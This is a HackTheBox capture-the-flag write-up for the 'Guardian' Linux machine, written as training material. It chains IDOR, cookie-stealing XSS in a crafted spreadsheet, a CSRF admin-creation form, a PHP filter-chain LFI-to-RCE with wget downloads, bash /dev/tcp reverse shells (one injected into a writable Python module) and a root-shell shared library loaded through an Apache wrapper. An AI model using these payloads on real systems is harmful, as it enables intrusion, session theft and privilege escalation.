HTB: Guardian Writeup

Guardian - HackTheBox Writeup

Machine Information

AttributeDetails
NameGuardian
OSLinux
DifficultyHard
PointsN/A
Release Date24 February 2026
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Guardian is a hard difficulty Linux machine featuring a university-themed web portal with multiple subdomains and layers of authentication bypass. The initial foothold leverages an IDOR vulnerability in the student chat feature to extract admin credentials for a Gitea repository. Source code analysis reveals a vulnerable PHPSpreadsheet version (3.7.0) exploitable via XSS, which is chained with CSRF to create an admin account. Post-exploitation involves a PHP filter-chain LFI-to-RCE attack, credential cracking, and lateral movement through a writable Python utility script. Finally, privilege escalation exploits a restricted Apache wrapper binary through symlink inclusion, demonstrating advanced exploitation techniques.

TL;DR: IDOR → Leaked Credentials → XSS via Excel → CSRF Admin Creation → PHP Filter LFI-RCE → Credential Cracking SSH → Python Script Modification → Apache Wrapper Symlink Abuse → Root


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.129.6.188
ports=$(nmap -p- --min-rate=1000 -T4 10.129.6.188 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.6.188

Results:

PortServiceVersion
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80HTTPApache httpd 2.4.52 (Ubuntu)

Service Enumeration

HTTP - Port 80:

The initial HTTP request to 10.129.6.188 redirects to guardian.htb. After adding this to /etc/hosts, the site resolves to a university-themed portal with:

  • Static homepage containing staff email addresses and contact information
  • Student login portal accessible via button in top-right corner
  • Reference to subdomain portal.guardian.htb

Portal Discovery:

After enumerating subdomains based on the structure, the following are identified:

  • portal.guardian.htb - Student portal with login functionality
  • gitea.guardian.htb - Git repository hosting service
  • Additional subdomains inferred from application behavior
Terminal window
# Update /etc/hosts
echo "10.129.6.188 guardian.htb portal.guardian.htb gitea.guardian.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

VulnerabilityLocationSeverity
IDOR in Chat Feature/student/chat.phpCritical
XSS via PHPSpreadsheetLecturer submission viewerHigh
CSRF Token WeaknessAdmin user creation formHigh
PHP Filter LFI/admin/reports.phpCritical
Apache Wrapper Bypasssafeapache2ctl binaryCritical

Initial Foothold

Step 1: IDOR Vulnerability in Chat Feature

The student portal accepts default credentials as documented in the help section:

Username: GU0142023 (student ID format)
Password: GU1234 (default)

After login, the chat feature at /student/chat.php?chat_users[0]=13&chat_users[1]=14 uses direct user IDs without proper authorization checks.

Testing IDOR:

Change the URL parameters to access different chat histories:

http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2

Result: Exposed admin-to-Jamil conversation containing Jamil’s Gitea credentials:

  • Username: jamil
  • Password: DHsNnk3V503

Step 2: Gitea Repository Access & Source Code Review

Log into gitea.guardian.htb with extracted credentials. The organization “Guardian University” contains two repositories. The portal.guardian.htb repository contains application source code.

Key Finding in composer.json:

{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}

CVE research reveals PHPSpreadsheet 3.7.0 is vulnerable to XSS when rendering Excel files. The vulnerability is exploited in /lecturer/view-submission.php (lines 265-289):

<?php if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx'): ?>
<div class="mt-8">
<h3 class="font-semibold text-gray-800 mb-3">Document Preview</h3>
<div class="overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg">
<?php
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
?>
</div>
</div>
<?php endif; ?>

Step 3: XSS Payload Generation & File Upload

Create a malicious Excel file with embedded XSS payload:

from openpyxl import Workbook
from base64 import b64encode
IP = "10.10.14.76" # Attacker IP
PORT = 80
# Payload to exfiltrate PHPSESSID cookie
PAYLOAD = f"fetch('http://{IP}:{PORT}/c?c='+document.cookie)"
BASE64_ENCODED = b64encode(PAYLOAD.encode()).decode()
# XSS payload injected into sheet name
FULL_PAYLOAD = f'"><img src=x onerror=eval(atob(\'{BASE64_ENCODED}\')) >'
def create_excel_file(filename="evil.xlsx"):
wb = Workbook()
ws1 = wb.active
ws1.title = "Sheet 1"
# Sheet name containing XSS payload
wb.create_sheet(title=FULL_PAYLOAD)
wb.save(filename)
print(f"Excel file '{filename}' created successfully.")
create_excel_file("evil.xlsx")

Upload the file:

  1. Log in as student GU0142023:GU1234
  2. Navigate to Assignments section
  3. Submit evil.xlsx as an assignment

Listen for callback:

Terminal window
sudo nc -lvnp 80

Expected output:

listening on [any] 80 ...
connect to [10.10.14.76] from (UNKNOWN) [10.129.6.188] 57520
GET /c?c=PHPSESSID=mmb4n77aud2h59ebffakr98c41 HTTP/1.1

Extract the PHPSESSID cookie value and replace it in your browser cookies. This grants access as lecturer sammy.treat.

Step 4: CSRF Token Weakness Exploitation

From the lecturer dashboard, navigate to /lecturer/notices/create.php to create a notice. Observe the CSRF token mechanism in source code (/config/csrf-tokens.php):

<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool() {
global $global_tokens_file;
return file_exists($global_tokens_file)
? json_decode(file_get_contents($global_tokens_file), true)
: [];
}
function is_valid_token($token) {
$tokens = get_token_pool();
return in_array($token, $tokens);
}
?>

Critical Flaw: CSRF tokens are not tied to sessions—any valid token in the global pool works for any user.

Create malicious CSRF HTML:

<form action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="eviladmin" />
<input type="hidden" name="password" value="pass1234" />
<input type="hidden" name="full_name" value="Evil Admin" />
<input type="hidden" name="email" value="evil@evil.com" />
<input type="hidden" name="dob" value="2003-10-10" />
<input type="hidden" name="address" value="Hack Street" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="<CSRF_TOKEN_FROM_NOTICE_FORM>"/>
<script>
document.forms[0].submit();
</script>
</form>

Host the payload:

Terminal window
sudo python3 -m http.server 80

Trigger exploit:

  1. Create a notice with reference link: http://10.10.14.76/csrf.html
  2. Admin visits the link and inadvertently creates the eviladmin account

Verify admin access:

Log in as eviladmin:pass1234 to the admin panel.

Step 5: PHP Filter Chain LFI-to-RCE

In the admin panel, access /admin/reports.php?report=reports/enrollment.php. The code applies insufficient validation:

<?php
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked</h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file</h2>");
}
?>
// ...
<?php include($report); ?>

Bypass using PHP filters:

The regex only checks if the filename ends with the allowed extensions. Bypass using:

http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=reports/enrollment.php

Generate filter chain for RCE:

Clone the filter chain generator:

Terminal window
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

Create shell payload file:

Terminal window
# On attacker machine
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.76/9001 0>&1"' > /tmp/shell
python3 -m http.server 80

Generate two chains—one to download, one to execute:

Terminal window
# Chain 1: Download shell script
python3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.14.76/shell"); ?>'
# Output example:
# php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=reports/enrollment.php
Terminal window
# Chain 2: Execute shell
python3 php_filter_chain_generator.py --chain '<?php exec("cat shell| sh"); ?>'

Set up listener:

Terminal window
nc -lvnp 9001

Execute both chains in browser/curl:

Terminal window
curl "http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|...truncated.../convert.base64-decode/resource=reports/enrollment.php"

Result: Reverse shell as www-data


Lateral Movement

Step 1: Database Credential Extraction

From the web root, extract database credentials from configuration:

Terminal window
www-data@guardian:~/portal.guardian.htb$ cat config/config.php

Credentials found:

  • Host: localhost
  • User: root
  • Password: Gu4rd14n_un1_1s_th3_b3st
  • Database: guardiandb

Step 2: Password Hash Cracking

Connect to MySQL and extract user hashes:

Terminal window
mysql -h 127.0.0.1 -u root -p
# Enter: Gu4rd14n_un1_1s_th3_b3st
use guardiandb;
select username, password_hash from users;

Extract hashes of system users:

jamil.enockson: c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
mark.pargetter: 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e

Hash format: SHA256 with salt 8Sb)tM1vs1SS appended to password.

Create hashcat input file:

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS

Crack with hashcat:

Terminal window
hashcat -a 0 -m 1410 hashes /usr/share/wordlists/rockyou.txt --show

Result:

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56

Step 3: SSH Access as Jamil

Terminal window
ssh jamil@guardian.htb
# Password: copperhouse56
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)

Retrieve user flag:

Terminal window
cat /home/jamil/user.txt
# <redacted>

Step 4: Sudo Enumeration & Script Modification

Terminal window
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=..., use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py

Examine the Python utilities script:

Terminal window
cat /opt/scripts/utilities/utilities.py

The script calls functions from /opt/scripts/utilities/utils/ modules. Check file permissions:

Terminal window
ls -al /opt/scripts/utilities/utils/

Key finding: status.py is writable by the admins group (which includes jamil):

-rwxrwx--- 1 mark admins 253 Apr 26 2025 status.py

Modify status.py to inject reverse shell:

# Original content preserved with added payload
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
# Injected reverse shell
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")

Update the file:

Terminal window
cat > /opt/scripts/utilities/utils/status.py << 'EOF'
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")
EOF

Listen for connection:

Terminal window
nc -lvnp 9001

Execute exploit:

Terminal window
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-status

Result: Shell as mark

Terminal window
mark@guardian:/opt/scripts/utilities/utils$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)

Privilege Escalation

Step 1: Sudo Enumeration for Mark

Terminal window
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Step 2: Binary Analysis

Test the binary:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

Extract and decompile the binary for analysis:

Terminal window
# On remote machine, serve binary
mark@guardian:/usr/local/bin$ python3 -m http.server 8080
# On attacker machine
wget http://guardian.htb:8080/safeapache2ctl

Using Ghidra/IDA, the binary implements:

  1. Validates -f flag with path restricted to /home/mark/confs/
  2. Checks is_unsafe_line() to block external file includes
  3. Uses realpath() to prevent directory traversal
  4. Weakness: Symlinks within allowed directory are not blocked

Apache’s Include directive can reference symlinks. Create configuration and symlink within allowed directory:

Terminal window
mark@guardian:~$ mkdir -p /home/mark/confs

Create Apache configuration:

Terminal window
cat > /home/mark/confs/file.conf << 'EOF'
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
ServerRoot "/etc/apache2"
PidFile /tmp/fake.pid
Listen 9999
ServerName localhost
# Include symlink in allowed directory
Include /home/mark/confs/link
EOF

Create symlink to root flag:

Terminal window
mark@guardian:~$ ln -s /root/root.txt /home/mark/confs/link

Execute with sudo:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

Output:

AH00526: Syntax error on line 1 of /home/mark/confs/link:
Invalid command '<REDACTED_FLAG_CONTENT>', perhaps misspelled or defined by a module not included in the server configuration

The error message contains the root flag content!

Alternative: LoadFile RCE Method

For interactive root shell, compile malicious shared object:

/tmp/evil.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] Pwn library loaded!\n");
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *argv[] = { "sh", NULL };
static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", argv, envp);
printf("[!] This should not be reached!\n");
}

Compile:

Terminal window
mark@guardian:/tmp$ gcc -shared -fPIC -o /tmp/evil.so evil.c

Update configuration to load malicious library:

Terminal window
cat > /home/mark/confs/file.conf << 'EOF'
ServerRoot "/etc/apache2"
PidFile /tmp/fake.pid
Listen 9999
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
LoadFile /tmp/evil.so
EOF

Execute:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
[+] Pwn library loaded!
# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve root flag:

Terminal window
# cat /root/root.txt
# <redacted>

Attack Chain Summary

IDOR (Chat)
Leaked Jamil Credentials
Gitea Source Code Access
PHPSpreadsheet 3.7.0 XSS Vulnerability Identified
Malicious Excel Upload
Lecturer Session Hijacking (XSS)
CSRF Token Pool Weakness
Admin Account Creation (CSRF)
Admin Panel Access
PHP Filter Chain LFI Bypass
Filter-Chain RCE
www-data Shell
MySQL Credential Extraction
Hash Cracking (Jamil Password: copperhouse56)
SSH as Jamil
Writable status.py Modification
Reverse Shell as Mark (via sudo)
safeapache2ctl Binary Exploitation
Symlink + Apache Include Directive
Root Flag/Shell Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curl/wgetHTTP requests and file downloads
hashcatPassword hash cracking (SHA256)
mysqlDatabase credential extraction
sshRemote shell access
ncReverse shell listener
openpyxlMalicious Excel file generation
gitSource code review
gccShared object compilation
Ghidra/IDABinary decompilation and analysis
python3Scripting and HTTP server

Key Learnings

Techniques Practiced

  • IDOR Exploitation: Direct object reference vulnerability in chat parameters to escalate access
  • XSS via Office Documents: Exploiting deprecated library versions in document processing
  • CSRF with Weak Token Management: Abusing stateless CSRF tokens for unauthorized admin creation
  • PHP Filter Chains: Advanced LFI bypass using iconv and base64 encoding chains for RCE
  • Password Hash Cracking: SHA256 with salt extraction and dictionary attacks
  • Binary Analysis: Decompiling to identify security flaws in wrapper binaries
  • Symlink Exploitation: Bypassing path restrictions via symlinks in allowed directories
  • Apache Configuration Abuse: Leveraging Include directives as an escalation vector
  • Shared Object Injection: Constructor functions for privilege escalation

Lessons Learned

  1. Input Validation Requires Context: Regex patterns must account for multiple encoding/bypass techniques (e.g., PHP filters, null bytes, symlinks)

  2. Token Management Matters: CSRF tokens tied to sessions, not global pools—validate token-user binding

  3. Library Versioning is Critical: Always audit dependency versions against CVE databases, even in “old” code

  4. Permission Granularity: Group memberships (admins group for jamil) can grant unintended escalation paths

  5. File Inclusion Attacks Evolve: Modern PHP exploitation requires understanding filter chains, wrappers, and Apache directives beyond simple path traversal

  6. Wrapper Binaries Need Hardening: Symlink checks via realpath() are insufficient if Include directives are still available

  7. Multi-layer Exploitation: Real vulnerabilities often require chaining 5+ distinct techniques across services

  8. Database Access ≠ Endpoint Security: Leaked database credentials are an underrated escalation vector

  9. Default Credentials Still Reign: Even with modern frameworks, default passwords remain the quickest entry point

  10. XSS + Session Hijacking: Office document vulnerabilities are often overlooked as initial foothold vectors


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>